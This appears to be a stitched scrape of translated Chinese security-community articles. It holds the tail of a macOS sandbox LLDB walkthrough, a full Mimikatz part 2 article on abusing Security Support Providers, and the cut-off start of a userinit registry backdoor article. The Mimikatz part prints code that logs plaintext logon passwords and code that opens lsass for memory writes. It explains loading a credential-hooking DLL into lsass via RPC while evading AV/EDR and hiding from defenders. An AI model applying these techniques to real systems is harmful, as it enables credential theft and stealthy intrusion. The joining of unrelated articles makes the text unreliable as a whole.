当进程启动时，在其生命周期中很早就会加载`libSystem.B`。因为所有的`APIs`都依赖于它。在执行过程中的某个时刻，`libSystem.B.initializer`将落入`_libsecinit_setup_secinitd_client`，后者将落入`xpc_copy_attribulements_for_pid`以从程序二进制文件中获取权限，然后它将权限以及应用程序是否应该通过`XPC`消息被`sandboxed`发送到位于`/usr/libexec/secinitd`中的`secinitd`守护进程。此消息传输发生在`xpc_pipe_route`级别，相同的函数将处理从`secinitd`守护进程接收的消息，该守护进程将解析从进程接收的`XPC`消息。
`secinitd`
守护进程将承认这样一个事实:如果存在权限，沙盒应该被强制执行,那么它将调用`AppSandbox.Framework`来创建沙盒配置文件。创建概要文件之后，`secinitd`将返回一条`XPC
message`，其中包含`CONTAINER_ID_KEY、CONTAINER_ROOT_PATH_KEY、SANDBOX_PROFILE_DATA_KEY`和其他数据。该信息将由`_libsecinit_setup_app_sandbox`解析，然后该`sandbox`落入`__sandbox_ms`中，从而创建程序的沙盒并在运行时将其包含。
流程如下：
### 0x06 实验:跟踪运行时创建的程序沙盒
使用`LLDB`可以调试一个沙盒程序，并查看到底发生了什么，包括从进程传递到`secinitd`守护进程的`XPC`消息。即将深入了解`Terminal`和`LLDB`，下面的清单可能很难理解。为了更容易理解发生了什么，最好尝试遵循重要的逻辑，比如传递的消息和回溯，以查看执行的函数调用。
起初，打开终端并调用`lldb`。如果没有安装`LLDB`，请安装`Xcode`，因为它附带了您需要的所有调试工具。首先在`xpc_pipe_routine`和`__sandbox_ms`处下断点。
Last login: Thu Dec 27 16:44:59 on ttys000
Isabella:~ geosn0w$ lldb /Applications/iHex.app/Contents/MacOS/iHex
(lldb) target create "/Applications/iHex.app/Contents/MacOS/iHex"
Traceback (most recent call last):
File "<string>", line 1, in <module>
File "/Applications/Xcode.app/Contents/SharedFrameworks/LLDB.framework/Resources/Python/lldb/__init__.py", line 98, in <module>
import six
ImportError: No module named six
Traceback (most recent call last):
File "<string>", line 1, in <module>
NameError: name 'run_one_line' is not defined
Traceback (most recent call last):
File "<string>", line 1, in <module>
Current executable set to '/Applications/iHex.app/Contents/MacOS/iHex' (x86_64).
(lldb) b xpc_pipe_routine
Breakpoint 1: where = libxpc.dylib`xpc_pipe_routine, address = 0x0000000000005c40
(lldb) b __sandbox_ms
Breakpoint 2: where = libsystem_kernel.dylib`__mac_syscall, address = 0x000000000001c648
(lldb) run
Process 12594 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
libxpc.dylib`xpc_pipe_routine:
-> 0x7fff6a75ec40 <+0>: pushq %rbp
0x7fff6a75ec41 <+1>: movq %rsp, %rbp
0x7fff6a75ec44 <+4>: pushq %r15
0x7fff6a75ec46 <+6>: pushq %r14
Target 0: (iHex) stopped.
(lldb) c
Process 12594 resuming
Process 12594 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
libxpc.dylib`xpc_pipe_routine:
-> 0x7fff6a75ec40 <+0>: pushq %rbp
0x7fff6a75ec41 <+1>: movq %rsp, %rbp
0x7fff6a75ec44 <+4>: pushq %r15
0x7fff6a75ec46 <+6>: pushq %r14
Target 0: (iHex) stopped.
然后在`libxpc.dylib`中停在`xpc_pipe_.routine`。做一个`backtrace`来看看发生了什么，可以通过`bt`命令来实现这一点。
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
frame #1: 0x00007fff6a75eaad libxpc.dylib`_xpc_interface_routine + 167
frame #2: 0x00007fff6a7650b5 libxpc.dylib`_xpc_uncork_domain + 529
frame #3: 0x00007fff6a75ad85 libxpc.dylib`_libxpc_initializer + 1053
frame #4: 0x00007fff680aa9c8 libSystem.B.dylib`libSystem_initializer + 126
frame #5: 0x0000000100582ac6 dyld`ImageLoaderMachO::doModInitFunctions(ImageLoader::LinkContext const&) + 420
frame #6: 0x0000000100582cf6 dyld`ImageLoaderMachO::doInitialization(ImageLoader::LinkContext const&) + 40
...
frame #18: 0x000000010056d3d4 dyld`dyldbootstrap::start(macho_header const*, int, char const**, long, macho_header const*, unsigned long*) + 453
frame #19: 0x000000010056d1d2 dyld`_dyld_start + 54
(lldb) c
Process 12594 resuming
Process 12594 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
libxpc.dylib`xpc_pipe_routine:
-> 0x7fff6a75ec40 <+0>: pushq %rbp
0x7fff6a75ec41 <+1>: movq %rsp, %rbp
0x7fff6a75ec44 <+4>: pushq %r15
0x7fff6a75ec46 <+6>: pushq %r14
Target 0: (iHex) stopped.
很明显这个不是我们所需要的，这是`libxpc.dylib`的`_xpc_uncork_domain`函数。我们需要`xpc_pipe_create，`按c继续并再次回溯。
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
frame #1: 0x00007fff6a75eaad libxpc.dylib`_xpc_interface_routine + 167
frame #2: 0x00007fff6a75e5d3 libxpc.dylib`bootstrap_look_up3 + 185
frame #3: 0x00007fff6a75e4ff libxpc.dylib`bootstrap_look_up2 + 41
frame #4: 0x00007fff6a7609d7 libxpc.dylib`xpc_pipe_create + 60
frame #5: 0x00007fff6a500485 libsystem_info.dylib`_mbr_xpc_pipe + 261
frame #6: 0x00007fff6a50033f libsystem_info.dylib`_mbr_od_available + 15
frame #7: 0x00007fff6a4fffe5 libsystem_info.dylib`mbr_identifier_translate + 645
frame #8: 0x00007fff6a4ffbf5 libsystem_info.dylib`mbr_identifier_to_uuid + 53
frame #9: 0x00007fff6a4ffbba libsystem_info.dylib`mbr_uid_to_uuid + 42
frame #10: 0x00007fff6a734db4 libsystem_secinit.dylib`_libsecinit_setup_secinitd_client + 728
frame #11: 0x00007fff6a734a7b libsystem_secinit.dylib`_libsecinit_initialize_once + 13
frame #12: 0x00007fff6a3d5db8 libdispatch.dylib`_dispatch_client_callout + 8
frame #13: 0x00007fff6a3d5d6b libdispatch.dylib`dispatch_once_f + 41
frame #14: 0x00007fff680aa9d2 libSystem.B.dylib`libSystem_initializer + 136
....
frame #29: 0x000000010056d1d2 dyld`_dyld_start + 54
找到所需的`xpc_pipe_create`函数。可以使用`p (char *)
xpc_copy_description($rsi)`查看通过`XPC`管道发送的消息，这调试非常有用。使用`RSI`寄存器作为消息的第二个参数(第一个参数是管道)。
(lldb) p (char *) xpc_copy_description($rsi)
(char *) $0 = 0x0000000101101fa0 "<dictionary: 0x10100c430> { count = 9, transaction: 0, voucher = 0x0, contents =\n\t"subsystem" => <uint64: 0x10100c7a0>: 5\n\t"handle" => <uint64: 0x10100c540>: 0\n\t"instance" => <uuid: 0x10100c6e0> 00000000-0000-0000-0000-000000000000\n\t"routine" => <uint64: 0x10100c800>: 207\n\t"flags" => <uint64: 0x10100c750>: 8\n\t"name" => <string: 0x10100c620> { length = 42, contents = "com.apple.system.opendirectoryd.membership" }\n\t"type" => <uint64: 0x10100c4f0>: 7\n\t"targetpid" => <int64: 0x10100c680>: 0\n\t"domain-port" => <mach send right: 0x10100c590> { name = 1799, right = send, urefs = 5 }\n}"
这也不是所需要的。这只是一个握手信息，继续。
(lldb) c
Process 12594 resuming
Process 12594 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
libxpc.dylib`xpc_pipe_routine:
-> 0x7fff6a75ec40 <+0>: pushq %rbp
0x7fff6a75ec41 <+1>: movq %rsp, %rbp
0x7fff6a75ec44 <+4>: pushq %r15
0x7fff6a75ec46 <+6>: pushq %r14
Target 0: (iHex) stopped.
...
(lldb) c
Process 12594 resuming
Process 12594 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a75ec40 libxpc.dylib`xpc_pipe_routine
libxpc.dylib`xpc_pipe_routine:
-> 0x7fff6a75ec40 <+0>: pushq %rbp
0x7fff6a75ec41 <+1>: movq %rsp, %rbp
0x7fff6a75ec44 <+4>: pushq %r15
0x7fff6a75ec46 <+6>: pushq %r14
Target 0: (iHex) stopped.
(lldb) p (char *) xpc_copy_description($rsi)
(char *) $5 = 0x0000000102821a00 "<dictionary: 0x1010051b0> { count = 11, transaction: 0, voucher = 0x0, contents =\n\t"SECINITD_REGISTRATION_MESSAGE_SHORT_NAME_KEY" => <string: 0x10100c2d0> { length = 4, contents = "iHex" }\n\t"SECINITD_REGISTRATION_MESSAGE_IS_SANDBOX_CANDIDATE_KEY" => <bool: 0x7fffa2befb98>: true\n\t"SECINITD_REGISTRATION_MESSAGE_ENTITLEMENTS_DICT_KEY" => <dictionary: 0x101009690> { count = 6, transaction: 0, voucher = 0x0, contents =\n\t\t"com.apple.security.app-sandbox" => <bool: 0x7fffa2befb98>: true\n\t\t"com.apple.application-identifier" => <string: 0x101009a60> { length = 30, contents = "A9TT2D59XS.com.hewbo.hexeditor" }\n\t\t"com.apple.security.print" => <bool: 0x7fffa2befb98>: true\n\t\t"com.apple.security.files.user-selected.read-write" => <bool: 0x7fffa2befb98>: true\n\t\t"com.apple.developer.team-identifier" => <string: 0x101002ec0> { length = 10, contents = "A9TT2D59XS" }\n\t\t"com.apple.security.network.client" => <bool: 0x7fffa2befb98>: true\n\t}\n\t"SECINITD_REGISTRATION_MESSAGE_LIBRARY_VALIDATION_KEY" => <bool: 0x7fffa2befbb8>: false\n"
(lldb)
包含程序的权限以及它是否是沙盒的候选项的宝贵信息。正如所见，`SECINITD_REGISTRATION_MESSAGE_IS_SANDBOX_CANDIDATE_KEY`设置为`bool
true`，并且确实拥有`com.apple.security.app-sandbox`权限。
可以看到了进程发送给`secinitd`的内容，看是否正在创建沙盒。使用设置的第二个断点，即`__sandbox_ms`上的断点，继续(c)直到找到它。
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00007fff6a55f648 libsystem_kernel.dylib`__mac_syscall
frame #1: 0x00007fff6a731bc9 libsystem_sandbox.dylib`sandbox_container_path_for_pid + 63
frame #2: 0x00007fff6a4edd0c libsystem_coreservices.dylib`_dirhelper_init + 159
frame #3: 0x00007fff6a71cf00 libsystem_platform.dylib`_os_once + 33
frame #4: 0x00007fff6a4ee754 libsystem_coreservices.dylib`_dirhelper + 1873
frame #5: 0x00007fff6a4604e9 libsystem_c.dylib`confstr + 525
frame #6: 0x00007fff6a7354a5 libsystem_secinit.dylib`_libsecinit_setup_app_sandbox + 474 # As you can see, the Sandbox is set.
frame #7: 0x00007fff6a734a82 libsystem_secinit.dylib`_libsecinit_initialize_once + 20
frame #8: 0x00007fff6a3d5db8 libdispatch.dylib`_dispatch_client_callout + 8
frame #9: 0x00007fff6a3d5d6b libdispatch.dylib`dispatch_once_f + 41
frame #10: 0x00007fff680aa9d2 libSystem.B.dylib`libSystem_initializer + 136
frame #11: 0x0000000100582ac6 dyld`ImageLoaderMachO::doModInitFunctions(ImageLoader::LinkContext const&) + 420
frame #12: 0x0000000100582cf6 dyld`ImageLoaderMachO::doInitialization(ImageLoader::LinkContext const&) + 40
frame #13: 0x000000010057e218 dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 330
frame #14: 0x000000010057e1ab dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 221
frame #15: 0x000000010057e1ab dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 221
frame #16: 0x000000010057e1ab dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 221
frame #17: 0x000000010057e1ab dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 221
frame #18: 0x000000010057e1ab dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 221
frame #19: 0x000000010057e1ab dyld`ImageLoader::recursiveInitialization(ImageLoader::LinkContext const&, unsigned int, char const*, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 221
frame #20: 0x000000010057d34e dyld`ImageLoader::processInitializers(ImageLoader::LinkContext const&, unsigned int, ImageLoader::InitializerTimingList&, ImageLoader::UninitedUpwards&) + 134
frame #21: 0x000000010057d3e2 dyld`ImageLoader::runInitializers(ImageLoader::LinkContext const&, ImageLoader::InitializerTimingList&) + 74
frame #22: 0x000000010056e567 dyld`dyld::initializeMainExecutable() + 196
frame #23: 0x0000000100573239 dyld`dyld::_main(macho_header const*, unsigned long, int, char const**, char const**, char const**, unsigned long*) + 7242
frame #24: 0x000000010056d3d4 dyld`dyldbootstrap::start(macho_header const*, int, char const**, long, macho_header const*, unsigned long*) + 453
frame #25: 0x000000010056d1d2 dyld`_dyld_start + 54
(lldb)
接下来，调用`libsystem_secinit`的`_libsecinit_setup_app_sandbox`。这意味着沙盒已经创建好了，将在开始的时候把程序放入沙盒中。接下来的几个`continue`命令将最终落入`libsystem_sandbox.dylib`的`sandbox_check_common`中。最后进入`LaunchServices`，然后通过`AppKit
' -[NSApplication init]`启动应用程序。
(lldb) c
Process 13280 resuming
Process 13280 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x00007fff6a55f648 libsystem_kernel.dylib`__mac_syscall
libsystem_kernel.dylib`__mac_syscall:
-> 0x7fff6a55f648 <+0>: movl $0x200017d, %eax ; imm = 0x200017D
0x7fff6a55f64d <+5>: movq %rcx, %r10
0x7fff6a55f650 <+8>: syscall
0x7fff6a55f652 <+10>: jae 0x7fff6a55f65c ; <+20>
Target 0: (iHex) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
* frame #0: 0x00007fff6a55f648 libsystem_kernel.dylib`__mac_syscall
frame #1: 0x00007fff6a731646 libsystem_sandbox.dylib`sandbox_check_common + 322
frame #2: 0x00007fff6a7318f9 libsystem_sandbox.dylib`sandbox_check_by_audit_token + 177
frame #3: 0x00007fff43ae952e LaunchServices`_LSIsAuditTokenSandboxed + 149
frame #4: 0x00007fff6a3d5db8 libdispatch.dylib`_dispatch_client_callout + 8
frame #5: 0x00007fff6a3d5d6b libdispatch.dylib`dispatch_once_f + 41
frame #6: 0x00007fff439c7ed1 LaunchServices`_LSIsCurrentProcessSandboxed + 178
frame #7: 0x00007fff43ae92ec LaunchServices`_LSCheckMachPortAccessForAuditToken + 72
frame #8: 0x00007fff43ae9448 LaunchServices`_LSCheckLSDServiceAccessForAuditToken + 153
frame #9: 0x00007fff439c097a LaunchServices`_LSRegisterSelf + 64
frame #10: 0x00007fff439b9a7c LaunchServices`_LSApplicationCheckIn + 5420
frame #11: 0x00007fff40d7192c HIServices`_RegisterApplication + 4617
frame #12: 0x00007fff40d7064c HIServices`GetCurrentProcess + 24
frame #13: 0x00007fff417cf4ab HIToolbox`MenuBarInstance::GetAggregateUIMode(unsigned int*, unsigned int*) + 63
frame #14: 0x00007fff417cf435 HIToolbox`MenuBarInstance::IsVisible() + 51
frame #15: 0x00007fff3fa71197 AppKit`_NSInitializeAppContext + 35
frame #16: 0x00007fff3fa70590 AppKit`-[NSApplication init] + 443
frame #17: 0x00007fff3fa701e6 AppKit`+[NSApplication sharedApplication] + 138
frame #18: 0x00007fff3fa718b2 AppKit`NSApplicationMain + 356
frame #19: 0x0000000100001c04 iHex`___lldb_unnamed_symbol1$$iHex + 52
(lldb)
至此，程序沙盒化完成！
###
原文：<https://geosn0w.github.io/A-Long-Evening-With-macOS's-Sandbox/> | 社区文章 |
## 前言
在上篇文章([探索Mimikatz-第1部分-Wdigest](https://xz.aliyun.com/t/8268))中，我们初步探索了Mimikatz。目的很单纯，就是为了搞清楚mimikatz其内部原理，以便开发定制专用的payload。这篇文章中，我们详探一种绕过Microsoft安全控制的一种好方法，该安全控制的主要目的是防止凭据（例如Credential
Guard）的转储以及提取。而这对应的功能，就是Mimikatz对SSP的支持。
SSP（Security Support
Provider,安全支持提供程序）是一个DLL，在某些身份验证和授权事件过程中，它允许开发人员公开要调用的许多回调函数。正如我们在上一篇文章中所看到的，`Wdigest`提供了使用此接口缓存的凭据。
Mimikatz提供了几种不同的技术来利用SSP。首先是`Mimilib`，它是一个具有多种功能的DLL，包括实现SSP接口。其次是`smemssp`，与前者干的是同一件事，但是是用过patch内存来达到目的，而不是加载DLL。
让我们从传统方式加载SSP开始，即Mimilib。
> 致谢：如前一篇文章所述，这篇文章大量使用了Mimikatz的源代码，其开发人员投入了大量的时间。感谢Mimikatz，Benjamin
> Delpy和Vincent Le Toux等父老乡亲。
## Mimilib
Mimilib有点万金油，它既支持`ServerLevelPluginDll`通过RPC进行横向移动，也支持DHCP服务器调用，甚至还充当WinDBG的扩展。回到本文，我们将研究该库如何充当SSP，从而为攻击者提供一种在受害者输入凭据时能够提取这些信息的方法。
系统使用明文凭据调用SSP,这意味着Mimilib可以窃取明文凭证。Mimilib的SSP函数入口点位于kssp.c中，具体来说是`kssp_SpLsaModeInitialize`。
该函数通过`mimilib.def`定义文件从DLL作为`SpLsaModeInitialize`导出，被`lsass`用来初始化一些包含多个回调函数的结构。
对于Mimilib，注册的回调函数为：
SpInitialize --用于初始化SSP并提供函数指针列表。
SpShutDown --要求卸载SSP，从而有机会释放资源。
SpGetInfoFn --提供有关SSP的信息，包括版本，名称和描述。
SpAcceptCredentials --接收由LSA传递并由SSP缓存的纯文本凭据。
如果您阅读了上一篇文章就会知道，WDigest使用`SpAcceptCredentials`来缓存凭据，多年来大家一直通过这个切入点来利用，屡试不爽。
并且，`SpAcceptCredentials`使用明文凭据的副本进行调用。那么，Mimilib剩下的工作就是简简单单地存储凭据就ok了，而这正是`kssp_SpAcceptCredentials`函数所干的活：
NTSTATUS NTAPI kssp_SpAcceptCredentials(SECURITY_LOGON_TYPE LogonType, PUNICODE_STRING AccountName, PSECPKG_PRIMARY_CRED PrimaryCredentials, PSECPKG_SUPPLEMENTAL_CRED SupplementalCredentials)
{
FILE *kssp_logfile;
#pragma warning(push)
#pragma warning(disable:4996)
if(kssp_logfile = _wfopen(L"kiwissp.log", L"a"))
#pragma warning(pop)
{
klog(kssp_logfile, L"[%08x:%08x] [%08x] %wZ\\%wZ (%wZ)\t", PrimaryCredentials->LogonId.HighPart, PrimaryCredentials->LogonId.LowPart, LogonType, &PrimaryCredentials->DomainName, &PrimaryCredentials->DownlevelName, AccountName);
klog_password(kssp_logfile, &PrimaryCredentials->Password);
klog(kssp_logfile, L"\n");
fclose(kssp_logfile);
}
return STATUS_SUCCESS;
}
现在，我不相信mimikatz.exe直接提供了加载Mimilib的功能，但是从Microsoft的文档中我们知道，系统是通过添加注册表项和重新启动来添加SSP
。
经过一番搜索，我发现了这条推文：
上图直接提到了对 `AddSecurityPackage`这个API的引用，该API 实际上在@mattifestation的`Install-SSP.ps1`脚本中使用，以加载SSP，这意味着实际上可以通过添加Mimilib而无需重新启动系统。并且在SSP加载后，每次身份验证都会将凭据写入到`kiwissp.log`文件中：
现在在目标环境中使用SSP有一个缺点，那就是必须在lsass中注册SSP。当需要追踪攻击者的恶意活动的时候，这为防御者提供了很多便利，不管是创建用来引用SSP的注册表项，还是只是lsass进程中的一个异常DLL，都能发现攻击者的蛛丝马迹。另外，SSP还公开了名称和注释，可以使用`EnumerateSecurityPackages`函数枚举它们：
#define SECURITY_WIN32
#include <stdio.h>
#include <Windows.h>
#include <Security.h>
int main(int argc, char **argv) {
ULONG packageCount = 0;
PSecPkgInfoA packages;
if (EnumerateSecurityPackagesA(&packageCount, &packages) == SEC_E_OK) {
for (int i = 0; i < packageCount; i++) {
printf("Name: %s\nComment: %s\n\n", packages[i].Name, packages[i].Comment);
}
}
}
如下所示，输出信息显示每个已加载的SSP信息，其中`Mimilib`可能会有些与众不同：
有没有办法不让`Mimilib`那么突出，那就是修改`Mimilib`的`SpGetInfo`回调函数返回的描述，该描述被硬编码为：
NTSTATUS NTAPI kssp_SpGetInfo(PSecPkgInfoW PackageInfo)
{
PackageInfo->fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
PackageInfo->wVersion = 1;
PackageInfo->wRPCID = SECPKG_ID_NONE;
PackageInfo->cbMaxToken = 0;
PackageInfo->Name = L"KiwiSSP";
PackageInfo->Comment = L"Kiwi Security Support Provider";
return STATUS_SUCCESS;
}
更改Name和Comment字段之后，如下图所示：
显然这仍然不是很好（即使使用如此优秀的名称和注释字段也不行）。因为， **Mimilib不需要剥离和重新编译** ，它包含了许多功能，而不仅仅是充当SSP。
那么到底该如何解决呢？幸运的是Mimikatz还支持`misc::memssp`，它提供了一个不错的选择。
## MemSSP
MemSSP的原理大致是处理lsass内存，通过标识和patch函数以重定向执行来进行。
看看入口函数`kuhl_m_misc_memssp`。如下所示，可以看到lsass进程已打开，并且开始搜索`msv1_0.dll`，这是一个支持交互式身份验证的验证程序包：
NTSTATUS kuhl_m_misc_memssp(int argc, wchar_t * argv[])
{
...
if(kull_m_process_getProcessIdForName(L"lsass.exe", &processId))
{
if(hProcess = OpenProcess(PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION, FALSE, processId))
{
if(kull_m_memory_open(KULL_M_MEMORY_TYPE_PROCESS, hProcess, &aLsass.hMemory))
{ if(kull_m_process_getVeryBasicModuleInformationsForName(aLsass.hMemory, L"msv1_0.dll", &iMSV))
{
…
接下来，在内存中搜索，与我们在WDigest中看到的类似：
...
sSearch.kull_m_memoryRange.kull_m_memoryAdress = iMSV.DllBase;
sSearch.kull_m_memoryRange.size = iMSV.SizeOfImage;
if(pGeneric = kull_m_patch_getGenericFromBuild(MSV1_0AcceptReferences, ARRAYSIZE(MSV1_0AcceptReferences), MIMIKATZ_NT_BUILD_NUMBER))
{
aLocal.address = pGeneric->Search.Pattern;
if(kull_m_memory_search(&aLocal, pGeneric->Search.Length, &sSearch, TRUE))
{
…
如果暂停对代码的审查，使用`Ghidra`工具，就可以搜索正在使用的匹配模式，定位到这里：
在这里，我们可以看到真实内幕：memssp被用于hook
msv1_0.dll中的`SpAcceptCredentials`函数，以恢复凭证信息。让我们一头扎进调试器中看看添加后该hook是啥样子的。
首先，我们确认`SpAcceptCredentials`包含一个hook：
接下来逐步执行，进入到一个负责创建日志文件的存根，方法是在堆栈上构建文件名并将其传递给fopen：
打开后，传递给`SpAcceptCredentials`的凭据将写入此文件：
最后执行直接返回到`msv1_0.dll`：
如果您想查看此hook的源代码，可以在kuhl_m_misc.c的[misc_msv1_0_SpAcceptCredentials](https://github.com/gentilkiwi/mimikatz/blob/72b83acb297f50758b0ce1de33f722e70f476250/mimikatz/modules/kuhl_m_misc.c#L462)函数中找到。
那么，使用这种技术的风险是什么？我们可以看到上面的hook通过`kull_m_memory_copy`函数复制到了lsass中，实际上使用的是`WriteProcessMemory`。根据环境的不同，`WriteProcessMemory`被另一个进程调用时可能会被检测到，或者被标记为可疑，当这个进程是lsass时就更可疑了。
现在，探索Mimikatz技术的好处之一是使我们能够改变与lsass交互的过程，使蓝队更难以检测它的活动痕迹。因此，让我们看看我们可以做些什么来实现这一过程。
## 在没有`WriteProcessMemory`的情况下重新创建memssp
回顾上述两种技术，可以说各有其优缺点。
第一种方法（Mimilib）依赖于注册SSP，可通过`EnumerateSecurityPackages`返回一个已注册的SSP列表来定位。另外，如果未修改Mimilib库，则DLL会有许多附加功能。此外，加载`AddSecurityProvider`时，注册表值将被修改，目的是在重新启动系统后能够保留SSP。也就是说，这项技术的一大优势在于，它不需要存在潜在风险的`WriteProcessMemoryAPI`调用即可实现其目标。
第二种方法（memssp）在很大程度上依赖于受监视的API调用，例如`WriteProcessMemory`，该API用于将hook加载到lsass中。但是，此技术的一大优势是它不会出现在已注册的SSP列表中，也不会存在于已加载的DLL中。
那么，有没有更好的办法呢？一般这样子问那肯定是有的，那就是把这两种方法结合起来：使用`AddSecurityProvider`来加载代码，同时避免自身出现在已注册的SSP中，以及找到避免直接调用`AddSecurityProvider`API的方法。这种方法应该有助于解决那些令人恼火的AV或EDR（取决于hook该函数）。
先来看一下`AddSecurityPackage`注册SSP的工作方式，其中涉及一些逆向操作。从公开此API的`Secur32.dll`DLL开始。
在Ghidra中打开，可以看到，它实际上只是对`sspcli.dll`进行调用的一个封装：
在sspcli.dll中反汇编上图中的`AddSecurityPackage`，特别是此函数使用的传出API调用，我们可以看到对`NdrClientCall3`的引用，这意味着此函数正在利用RPC。这一步意义非凡，因为此调用需要以某种方式向lsass发出信号，表明应该加载新的SSP：
跟随对`NdrClientCall3`的调用时，发现它传递了以下参数：
`nProcNum`参数值为3，如果详探sspirpc_ProxyInfo结构，将RPC接口UUID设为4f32adc8-6052-4a04-8701-293ccf2096f0：
现在，我们已经掌握了足够多的信息，可以在RpcView来看看通过`sspisrv.dll`公开为`SspirCallRpc`的RPC调用:
要使用此调用，需要知道传递的参数，可以从RpcView中找到：
long Proc3_SspirCallRpc(
[in][context_handle] void* arg_0,
[in]long arg_1,
[in][size_is(arg_1)]/*[range(0,0)]*/ char* arg_2,
[out]long* arg_3,
[out][ref][size_is(, *arg_3)]/*[range(0,0)]*/ char** arg_4,
[out]struct Struct_144_t* arg_5);
但是，在执行此调用之前，需要知道要作为参数传递的arg_2值（arg_1标记为arg_2的大小，arg_3，arg_4和arg_5都被标记为“
out”）。我发现执行此操作最简单的方法是：启动调试器并在`AddSecurityPackage`调用`NdrClientCall3`之前添加一个断点：
暂停执行后，可以转储每个参数中传递的值。使用以下命令获取在arg_1参数传递的缓冲区大小：`dq rsp+0x20 L1`:
在这种情况下，传递的缓冲区大小为0xEC字节。现在我们可以转储arg_2：
经过一番探索发现，我能够关联大多数这些值。将输出请求重新格式化为`QWORD`并标记，以便清晰看到要处理的数据：
现在我们已经映射了要传递的大多数数据，我们可以尝试发出RPC调用，而不必直接调用`AddSecurityPackage`API调用。我为此编写的代码参见[此处](https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e)。
现在已经无需直接调用`AddSecurityPackage`就可以加载程序，下一步再看看其他骚姿势。
把`sspisrv.dll`加载进Ghidra，看看如何在服务器端处理RPC调用。我们在反汇编`SspirCallRpc`时遇到的直接问题是执行流程过程是通过`gLsapSspiExtension`传递的：
这实际上是指向函数数组的指针，通过填充lsasrv.dll并指向`LsapSspiExtensionFunctions`：
`SspiExCallRpc`与`RPCView`的内容非常相似，这引起了我的兴趣。此函数验证参数并将执行过程传递到`LpcHandler`：
在最终将执行传递给`DispatchApi`之前，`LpcHandler`负责进一步检查提供的参数：
同样，系统使用另一个函数指针数组来分派`LpcDispatchTable`指向的调用：
这是一个很有意思的数组，因为我们很可能会根据名称查找`s_AddPackage`，并且索引也与在请求中找到的0xb“函数ID”索引匹配。
继续往下走，到达`WLsaAddPackage`函数，该函数检查我们是否有足够的权限调用RPC方法，检查过程为：首先模拟了连接的客户端，然后尝试打开`HKLM\System\CurrentControlSet\Control\Lsa`的注册表项（具备读/写权限），如下图：
如果成功（注意这可能是一个新的提权后门），则执行过程会转移至`SpmpLoadDll`，该函数被用于将提供的SSP加载到lsass中（通过`LoadLibraryExW`命令）：
如果成功加载了SSP，则将DLL添加到注册表中以进行自动加载：
我们可能会跳过最后一点，因为我们不会一直停留在这个过程（比如dump个密码就跑路了），另外最好避免接触注册表。防守方可能会利用像`ProcessExplorer`这样的工具列出lsass进程中我们的DLL，所以最好不要引起他们的怀疑。因此，我们可以使用RPC调用来传递DLL，并通过`DllMain`进程返回一个FALSE来强制我们的SSP加载失败，这将导致跳过修改注册表这一步骤，同时也意味着我们的DLL会从进程中卸载掉。
使用Mimikatz的`memssp`作为模板，我制作了一个通过RPC调用加载的DLL，它将与Mimikatz一样，使用相同的hook来patch
`SpAddCredentials`。源代码在[这里](https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0)
大家也不受此限制从本地系统加载DLL，因为如果通过RPC调用传递了UNC路径，效果也很好（但应确保目标EDR不会将其标记为可疑）。
当然，您也不仅限于使用`AddSecurityPackage`加载此DLL 。当我们精心制作了一个独立的DLL来patch
`memssp`时，可以使用上一篇博文中的SAMR RPC脚本，通过`LoadLibrary`加载我们的DLL，并通过SMB共享写回登录尝试。
当然，有很多方法可以提高这些示例的有效性，但是与第1部分一样，我希望本文能给大家打开思路，让大家可以diy自己的SSP。尽管本文仅介绍了几种将SSP加载到lsass中的方法，但是通过了解Mimikatz如何提供此功能，在尝试绕过AV或EDR时，大家还是很有希望能够根据环境调整自己的payload，或者用来测试蓝队在`Mimilib`和`memssp`之外的防护功能。
[原文链接](https://blog.xpnsec.com/exploring-mimikatz-part-2/) | 社区文章 |
# 利用userinit注册表键实现无文件后门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
前段时间看了3gstudent师傅的[文章](https://3gstudent.github.io/3gstudent.github.io/Use-Logon-Scripts-to-maintain-persistence/),这篇文章中提到使用Logon
